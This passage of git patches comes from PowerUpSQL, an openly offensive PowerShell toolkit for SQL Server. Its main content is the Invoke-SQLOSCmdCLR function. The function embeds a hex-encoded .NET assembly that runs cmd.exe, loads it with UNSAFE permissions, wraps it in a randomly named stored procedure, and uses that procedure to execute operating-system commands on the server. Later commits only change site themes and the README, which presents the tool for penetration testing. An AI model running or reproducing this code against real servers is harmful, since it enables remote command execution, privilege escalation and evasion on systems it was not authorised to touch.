000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 with permission_set = UNSAFE" + $Query_AddAssembly = "CREATE ASSEMBLY [$RandAssemblyName] AUTHORIZATION [dbo] from 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103008A8FF9580000000000000000E00002210B010B000008000000060000000000004E270000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000002700004B00000000400000A002000000000000000000000000000000000000006000000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E7465787400000054070000002000000008000000020000000000000000000000000000200000602E72737263000000A00200000040000000040000000A0000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000000E000000000000000000000000000040000042000000000000000000000000000000003027000000000000480000000200050028210000D8050000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000013300500C30000000100001100730400000A0A066F0500000A72010000706F0600000A00066F0500000A72390000700F00280700000A280800000A6F0900000A00066F0500000A166F0A00000A00066F0500000A176F0B00000A00066F0C00000A26178D090000010C081672490000701F0C20A00F00006A730D00000AA208730E00000A0B280F00000A076F1000000A000716066F1100000A6F1200000A6F1300000A6F1400000A00280F00000A076F1500000A00280F00000A6F1600000A00066F1700000A00066F1800000A002A1E02281900000A2A0042534A4201000100000000000C00000076342E302E33303331390000000005006C000000E0010000237E00004C0200009002000023537472696E677300000000DC040000580000002355530034050000100000002347554944000000440500009400000023426C6F620000000000000002000001471502000900000000FA253300160000010000000F000000020000000200000001000000190000000300000001000000010000000300000000000A000100000000000600370030000A005F004A000600A40084000600C40084000A000501EA000E002E011B010E0036011B0106006C0130000A00BD01EA000A00C9013E000A00D301EA000A00E101EA000A00EC01EA00060018020E02060038020E0200000000010000000000010001000100100016000000050001000100502000000000960069000A0001001F21000000008618720010000200000001007800190072001400210072001000290072001000310072001000310047011E00390055012300110062012800410073012C0039007A01230039008801320039009C0132003100B7013700490072003B005900720043006100F4014A006900FD014F0031002502550079004302280009004D022800590056025A00690060024F0069006F02100031007E02100031008A02100009007200100020001B0019002E000B006A002E00130073006000048000000000000000000000000000000000E2000000040000000000000000000000010027000000000004000000000000000000000001003E000000000004000000000000000000000001003000000000000000003C4D6F64756C653E00434C5246696C652E646C6C0053746F72656450726F63656475726573006D73636F726C69620053797374656D004F626A6563740053797374656D2E446174610053797374656D2E446174612E53716C54797065730053716C537472696E6700636D645F65786563002E63746F720065786563436F6D6D616E640053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C69747941747472696275746500434C5246696C65004D6963726F736F66742E53716C5365727665722E5365727665720053716C50726F6365647572654174747269627574650053797374656D2E446961676E6F73746963730050726F636573730050726F636573735374617274496E666F006765745F5374617274496E666F007365745F46696C654E616D65006765745F56616C756500537472696E6700466F726D6174007365745F417267756D656E7473007365745F5573655368656C6C45786563757465007365745F52656469726563745374616E646172644F75747075740053746172740053716C4D657461446174610053716C4462547970650053716C446174615265636F72640053716C436F6E746578740053716C50697065006765745F506970650053656E64526573756C747353746172740053797374656D2E494F0053747265616D526561646572006765745F5374616E646172644F757470757400546578745265616465720052656164546F456E6400546F537472696E6700536574537472696E670053656E64526573756C7473526F770053656E64526573756C7473456E640057616974466F724578697400436C6F736500003743003A005C00570069006E0064006F00770073005C00530079007300740065006D00330032005C0063006D0064002E00650078006500000F20002F00430020007B0030007D00000D6F00750074007000750074000000FCEE91D85F31C540B0756AD6B62A5C020008B77A5C561934E0890500010111090320000104200101080401000000042000121D042001010E0320000E0500020E0E1C042001010203200002072003010E11290A062001011D1225040000123505200101122D042000123905200201080E0907031219122D1D12250801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F77730100002827000000000000000000003E270000002000000000000000000000000000000000000000000000302700000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF25002000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100100000001800008000000000000000000000000000000100010000003000008000000000000000000000000000000100000000004800000058400000440200000000000000000000440234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004A4010000010053007400720069006E006700460069006C00650049006E0066006F0000008001000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E003000000038000C00010049006E007400650072006E0061006C004E0061006D006500000043004C005200460069006C0065002E0064006C006C0000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000040000C0001004F0072006900670069006E0061006C00460069006C0065006E0061006D006500000043004C005200460069006C0065002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E00300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000503700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 with permission_set = UNSAFE" Get-SQLQuery -Instance $Instance -Query $Query_AddAssembly -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Database "MSDB" # Create procedure - $Query_AddProc = "CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (MAX) AS EXTERNAL NAME [cmd_exec].[StoredProcedures].[cmd_exec];" + $Query_AddProc = "CREATE PROCEDURE [dbo].[$RandProcName] @execCommand NVARCHAR (MAX) AS EXTERNAL NAME [$RandAssemblyName].[StoredProcedures].[cmd_exec];" Get-SQLQuery -Instance $Instance -Query $Query_AddProc -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Database "MSDB" # Setup OS command Write-Verbose -Message "$Instance : Running command: $Command" - $Query = "EXEC [dbo].[cmd_exec] '$Command'" + $Query = "EXEC [dbo].[$RandProcName] '$Command'" # Execute OS command $CmdResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Database "MSDB" | Select-Object -Property output -ExpandProperty output @@ -2246,8 +2253,8 @@ Function Invoke-SQLOSCmdCLR } # Remove procedure and assembly - Get-SQLQuery -Instance $Instance -Query "DROP PROCEDURE cmd_exec" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Database "MSDB" - Get-SQLQuery -Instance $Instance -Query "DROP ASSEMBLY cmd_exec" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Database "MSDB" + Get-SQLQuery -Instance $Instance -Query "DROP PROCEDURE $RandProcName" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Database "MSDB" + Get-SQLQuery -Instance $Instance -Query "DROP ASSEMBLY $RandAssemblyName" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Database "MSDB" # Restore CLR state if needed if($DisableCLR -eq 1) From 346050ab2d2afb607fdfae55cb0e8f2f99ea48dc Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 29 Jun 2017 12:27:00 -0500 Subject: [PATCH 046/145] Update invoke-sqloscmdclr fixed casting bug --- PowerUpSQL.ps1 | 26 +++++++++++++++++--------- 1 file changed, 17 insertions(+), 9 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 33ad489..b8d1475 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.82.96 + Version: 1.82.97 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -2226,30 +2226,38 @@ Function Invoke-SQLOSCmdCLR # Create assembly and proc names $RandAssemblyName = (-join ((65..90) + (97..122) | Get-Random -Count $RandAssemblyLength | % {[char]$_})) $RandProcName = (-join ((65..90) + (97..122) | Get-Random -Count $RandAssemblyLength | % {[char]$_})) + Write-Verbose -Message "$Instance : Assembly name: $RandAssemblyName" + Write-Verbose -Message "$Instance : CLR Procedure name: $RandProcName" - # Create assembly - $Query_AddAssembly = "CREATE ASSEMBLY [$RandAssemblyName] AUTHORIZATION [dbo] from 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103008A8FF9580000000000000000E00002210B010B000008000000060000000000004E270000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000002700004B00000000400000A002000000000000000000000000000000000000006000000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E7465787400000054070000002000000008000000020000000000000000000000000000200000602E72737263000000A00200000040000000040000000A0000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000000E000000000000000000000000000040000042000000000000000000000000000000003027000000000000480000000200050028210000D8050000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000013300500C30000000100001100730400000A0A066F0500000A72010000706F0600000A00066F0500000A72390000700F00280700000A280800000A6F0900000A00066F0500000A166F0A00000A00066F0500000A176F0B00000A00066F0C00000A26178D090000010C081672490000701F0C20A00F00006A730D00000AA208730E00000A0B280F00000A076F1000000A000716066F1100000A6F1200000A6F1300000A6F1400000A00280F00000A076F1500000A00280F00000A6F1600000A00066F1700000A00066F1800000A002A1E02281900000A2A0042534A4201000100000000000C00000076342E302E33303331390000000005006C000000E0010000237E00004C0200009002000023537472696E677300000000DC040000580000002355530034050000100000002347554944000000440500009400000023426C6F620000000000000002000001471502000900000000FA253300160000010000000F000000020000000200000001000000190000000300000001000000010000000300000000000A000100000000000600370030000A005F004A000600A40084000600C40084000A000501EA000E002E011B010E0036011B0106006C0130000A00BD01EA000A00C9013E000A00D301EA000A00E101EA000A00EC01EA00060018020E02060038020E0200000000010000000000010001000100100016000000050001000100502000000000960069000A0001001F21000000008618720010000200000001007800190072001400210072001000290072001000310072001000310047011E00390055012300110062012800410073012C0039007A01230039008801320039009C0132003100B7013700490072003B005900720043006100F4014A006900FD014F0031002502550079004302280009004D022800590056025A00690060024F0069006F02100031007E02100031008A02100009007200100020001B0019002E000B006A002E00130073006000048000000000000000000000000000000000E2000000040000000000000000000000010027000000000004000000000000000000000001003E000000000004000000000000000000000001003000000000000000003C4D6F64756C653E00434C5246696C652E646C6C0053746F72656450726F63656475726573006D73636F726C69620053797374656D004F626A6563740053797374656D2E446174610053797374656D2E446174612E53716C54797065730053716C537472696E6700636D645F65786563002E63746F720065786563436F6D6D616E640053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C69747941747472696275746500434C5246696C65004D6963726F736F66742E53716C5365727665722E5365727665720053716C50726F6365647572654174747269627574650053797374656D2E446961676E6F73746963730050726F636573730050726F636573735374617274496E666F006765745F5374617274496E666F007365745F46696C654E616D65006765745F56616C756500537472696E6700466F726D6174007365745F417267756D656E7473007365745F5573655368656C6C45786563757465007365745F52656469726563745374616E646172644F75747075740053746172740053716C4D657461446174610053716C4462547970650053716C446174615265636F72640053716C436F6E746578740053716C50697065006765745F506970650053656E64526573756C747353746172740053797374656D2E494F0053747265616D526561646572006765745F5374616E646172644F757470757400546578745265616465720052656164546F456E6400546F537472696E6700536574537472696E670053656E64526573756C7473526F770053656E64526573756C7473456E640057616974466F724578697400436C6F736500003743003A005C00570069006E0064006F00770073005C00530079007300740065006D00330032005C0063006D0064002E00650078006500000F20002F00430020007B0030007D00000D6F00750074007000750074000000FCEE91D85F31C540B0756AD6B62A5C020008B77A5C561934E0890500010111090320000104200101080401000000042000121D042001010E0320000E0500020E0E1C042001010203200002072003010E11290A062001011D1225040000123505200101122D042000123905200201080E0907031219122D1D12250801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F77730100002827000000000000000000003E270000002000000000000000000000000000000000000000000000302700000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF25002000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100100000001800008000000000000000000000000000000100010000003000008000000000000000000000000000000100000000004800000058400000440200000000000000000000440234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004A4010000010053007400720069006E006700460069006C00650049006E0066006F0000008001000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E003000000038000C00010049006E007400650072006E0061006C004E0061006D006500000043004C005200460069006C0065002E0064006C006C0000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000040000C0001004F0072006900670069006E0061006C00460069006C0065006E0061006D006500000043004C005200460069006C0065002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E00300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000503700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 with permission_set = UNSAFE" + # Create assembly + $Query_AddAssembly = "CREATE ASSEMBLY [$RandAssemblyName] AUTHORIZATION [dbo] from 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C010300652F55590000000000000000E00002210B0108000008000000060000000000004E270000002000000040000000004000002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000002700004B00000000400000A002000000000000000000000000000000000000006000000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E7465787400000054070000002000000008000000020000000000000000000000000000200000602E72737263000000A00200000040000000040000000A0000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000000E000000000000000000000000000040000042000000000000000000000000000000003027000000000000480000000200050028210000D8050000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000013300600C30000000100001100730400000A0A066F0500000A72010000706F0600000A00066F0500000A72390000700F00280700000A280800000A6F0900000A00066F0500000A166F0A00000A00066F0500000A176F0B00000A00066F0C00000A26178D090000010C081672490000701F0C20A00F00006A730D00000AA208730E00000A0B280F00000A076F1000000A000716066F1100000A6F1200000A6F1300000A6F1400000A00280F00000A076F1500000A00280F00000A6F1600000A00066F1700000A00066F1800000A002A1E02281900000A2A0042534A4201000100000000000C00000076322E302E35303732370000000005006C000000E0010000237E00004C0200009002000023537472696E677300000000DC040000580000002355530034050000100000002347554944000000440500009400000023426C6F620000000000000002000001471502000900000000FA013300160000010000000F000000020000000200000001000000190000000300000001000000010000000300000000000A000100000000000600370030000A005F004A000600980078000600B80078000A00F900DE000E002E011B010E0036011B0106006C0130000A00BD01DE000A00C9013E000A00D301DE000A00E101DE000A00EC01DE00060018020E02060038020E0200000000010000000000010001000100100016000000050001000100502000000000960069000A0001001F21000000008618720010000200000001000F01190072001400210072001000290072001000310072001000310047011E00390055012300110062012800410073012C0039007A01230039008801320039009C0132003100B7013700490072003B005900720043006100F4014A006900FD014F0031002502550079004302280009004D022800590056025A00690060024F0069006F02100031007E02100031008A02100009007200100020001B0019002E000B006A002E00130073006000048000000000000000000000000000000000D6000000020000000000000000000000010027000000000002000000000000000000000001003E000000000002000000000000000000000001003000000000000000003C4D6F64756C653E00636C7266696C652E646C6C0053746F72656450726F63656475726573006D73636F726C69620053797374656D004F626A6563740053797374656D2E446174610053797374656D2E446174612E53716C54797065730053716C537472696E6700636D645F65786563002E63746F720053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C69747941747472696275746500636C7266696C65004D6963726F736F66742E53716C5365727665722E5365727665720053716C50726F6365647572654174747269627574650065786563436F6D6D616E640053797374656D2E446961676E6F73746963730050726F636573730050726F636573735374617274496E666F006765745F5374617274496E666F007365745F46696C654E616D65006765745F56616C756500537472696E6700466F726D6174007365745F417267756D656E7473007365745F5573655368656C6C45786563757465007365745F52656469726563745374616E646172644F75747075740053746172740053716C4D657461446174610053716C4462547970650053716C446174615265636F72640053716C436F6E746578740053716C50697065006765745F506970650053656E64526573756C747353746172740053797374656D2E494F0053747265616D526561646572006765745F5374616E646172644F757470757400546578745265616465720052656164546F456E6400546F537472696E6700536574537472696E670053656E64526573756C7473526F770053656E64526573756C7473456E640057616974466F724578697400436C6F736500003743003A005C00570069006E0064006F00770073005C00530079007300740065006D00330032005C0063006D0064002E00650078006500000F20002F00430020007B0030007D00000D6F007500740070007500740000002A5DFE759C75BA4399A49F834BF07EE50008B77A5C561934E0890500010111090320000104200101080401000000042000121D042001010E0320000E0500020E0E1C042001010203200002072003010E11290A062001011D1225040000123505200101122D042000123905200201080E0907031219122D1D12250801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F77730100002827000000000000000000003E270000002000000000000000000000000000000000000000000000302700000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF25002040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100100000001800008000000000000000000000000000000100010000003000008000000000000000000000000000000100000000004800000058400000440200000000000000000000440234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004A4010000010053007400720069006E006700460069006C00650049006E0066006F0000008001000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E003000000038000C00010049006E007400650072006E0061006C004E0061006D006500000063006C007200660069006C0065002E0064006C006C0000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000040000C0001004F0072006900670069006E0061006C00460069006C0065006E0061006D006500000063006C007200660069006C0065002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E00300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000503700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 with permission_set = UNSAFE" Get-SQLQuery -Instance $Instance -Query $Query_AddAssembly -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Database "MSDB" - + # Create procedure $Query_AddProc = "CREATE PROCEDURE [dbo].[$RandProcName] @execCommand NVARCHAR (MAX) AS EXTERNAL NAME [$RandAssemblyName].[StoredProcedures].[cmd_exec];" Get-SQLQuery -Instance $Instance -Query $Query_AddProc -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Database "MSDB" # Setup OS command Write-Verbose -Message "$Instance : Running command: $Command" - $Query = "EXEC [dbo].[$RandProcName] '$Command'" + $Query = "EXEC [$RandProcName] '$Command'" - # Execute OS command - $CmdResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Database "MSDB" | Select-Object -Property output -ExpandProperty output + # Execute OS command + $CmdResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Database "MSDB" # Display results or add to final results table if($RawResults) { - $CmdResults + [string]$CmdResults.output } else { - $null = $TblResults.Rows.Add($ComputerName, $Instance, [string]$CmdResults.trim()) + try + { + $null = $TblResults.Rows.Add($ComputerName, $Instance, [string]$CmdResults.output) + } + catch + { + } } # Remove procedure and assembly From 5d33ffb0d51e99e5657200e05a9513c12c50ce9c Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 7 Jul 2017 17:10:10 -0500 Subject: [PATCH 047/145] Set theme jekyll-theme-minimal --- _config.yml | 1 + 1 file changed, 1 insertion(+) create mode 100644 _config.yml diff --git a/_config.yml b/_config.yml new file mode 100644 index 0000000..2f7efbe --- /dev/null +++ b/_config.yml @@ -0,0 +1 @@ +theme: jekyll-theme-minimal \ No newline at end of file From 5dcac206ca3f6fc5bd42d2c77404d16a74a51132 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 7 Jul 2017 17:11:20 -0500 Subject: [PATCH 048/145] Set theme jekyll-theme-dinky --- _config.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_config.yml b/_config.yml index 2f7efbe..9da9a02 100644 --- a/_config.yml +++ b/_config.yml @@ -1 +1 @@ -theme: jekyll-theme-minimal \ No newline at end of file +theme: jekyll-theme-dinky \ No newline at end of file From 03eca759669b62846e58777c504e3b08b0849a4c Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 7 Jul 2017 17:12:45 -0500 Subject: [PATCH 049/145] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 5969c79..498bb8a 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,6 @@ -## ![alt tag](https://github.com/NetSPI/PowerUpSQL/blob/master/images/powerupsql-large.png) +![PowerUpSQLLogo](https://github.com/NetSPI/PowerUpSQL/blob/master/images/powerupsql-large.png) +
[![licence badge]][licence] [![stars badge]][stars] [![forks badge]][forks] From 9b4994954ce2653688a887739a341923ab1a26c2 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 7 Jul 2017 17:13:37 -0500 Subject: [PATCH 050/145] Set theme jekyll-theme-midnight --- _config.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_config.yml b/_config.yml index 9da9a02..1885487 100644 --- a/_config.yml +++ b/_config.yml @@ -1 +1 @@ -theme: jekyll-theme-dinky \ No newline at end of file +theme: jekyll-theme-midnight \ No newline at end of file From 1ca7c4ac6132e96cfdcbf58d1b52cca99cbebc16 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 7 Jul 2017 17:14:42 -0500 Subject: [PATCH 051/145] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 498bb8a..4243109 100644 --- a/README.md +++ b/README.md @@ -21,6 +21,6 @@ The PowerUpSQL module includes functions that support SQL Server discovery, auditing for common weak configurations, and privilege escalation on scale. It is intended to be used during internal penetration tests and red team engagements. However, PowerUpSQL also includes many functions that could be used by administrators to quickly inventory the SQL Servers in their ADS domain. ### PowerUpSQL Wiki -For setup instructions, cheat sheets, blogs, function overviews, and usage information check out the wiki: https://github.com/NetSPI/PowerUpSQL/wiki +For setup instructions, cheat sheets, blogs, function overviews, and usage information check out the wiki: https://github.com/NetSPI/PowerUpSQL/wiki From cdd90d16b995f752a2c910cf6047f7f11b1ffb0d Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 7 Jul 2017 17:16:54 -0500 Subject: [PATCH 052/145] Set theme jekyll-theme-slate --- _config.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_config.yml b/_config.yml index 1885487..c741881 100644 --- a/_config.yml +++ b/_config.yml @@ -1 +1 @@ -theme: jekyll-theme-midnight \ No newline at end of file +theme: jekyll-theme-slate \ No newline at end of file From 31108937a3d82648aea63b01a5649ad962a9ac2b Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 7 Jul 2017 17:17:32 -0500 Subject: [PATCH 053/145] Set theme jekyll-theme-minimal --- _config.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_config.yml b/_config.yml index c741881..2f7efbe 100644 --- a/_config.yml +++ b/_config.yml @@ -1 +1 @@ -theme: jekyll-theme-slate \ No newline at end of file +theme: jekyll-theme-minimal \ No newline at end of file From 035a4158ede4106cd3ca26d7c41253cfe9d0c86b Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Sun, 16 Jul 2017 22:44:14 -0500 Subject: [PATCH 054/145] Update README.md --- README.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/README.md b/README.md index 4243109..5b60da0 100644 --- a/README.md +++ b/README.md @@ -23,4 +23,10 @@ The PowerUpSQL module includes functions that support SQL Server discovery, audi ### PowerUpSQL Wiki For setup instructions, cheat sheets, blogs, function overviews, and usage information check out the wiki: https://github.com/NetSPI/PowerUpSQL/wiki +* Author: Scott Sutherland (@_nullbind), NetSPI - 2017 +* Major Contributors: Antti Rantasaari and Eric Gruber (@egru) +* Contributors: Alexander Leary (@0xbadjuju), @leoloobeek, Mike Manzotti (@mmanzo_), and @ktaranov +* License: BSD 3-Clause +* Required Dependencies: None + From 5a588ddc28ce4125eec12245e6ea6d01c4d85d3c Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Sun, 16 Jul 2017 22:45:21 -0500 Subject: [PATCH 055/145] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 5b60da0..a55a8a0 100644 --- a/README.md +++ b/README.md @@ -23,6 +23,7 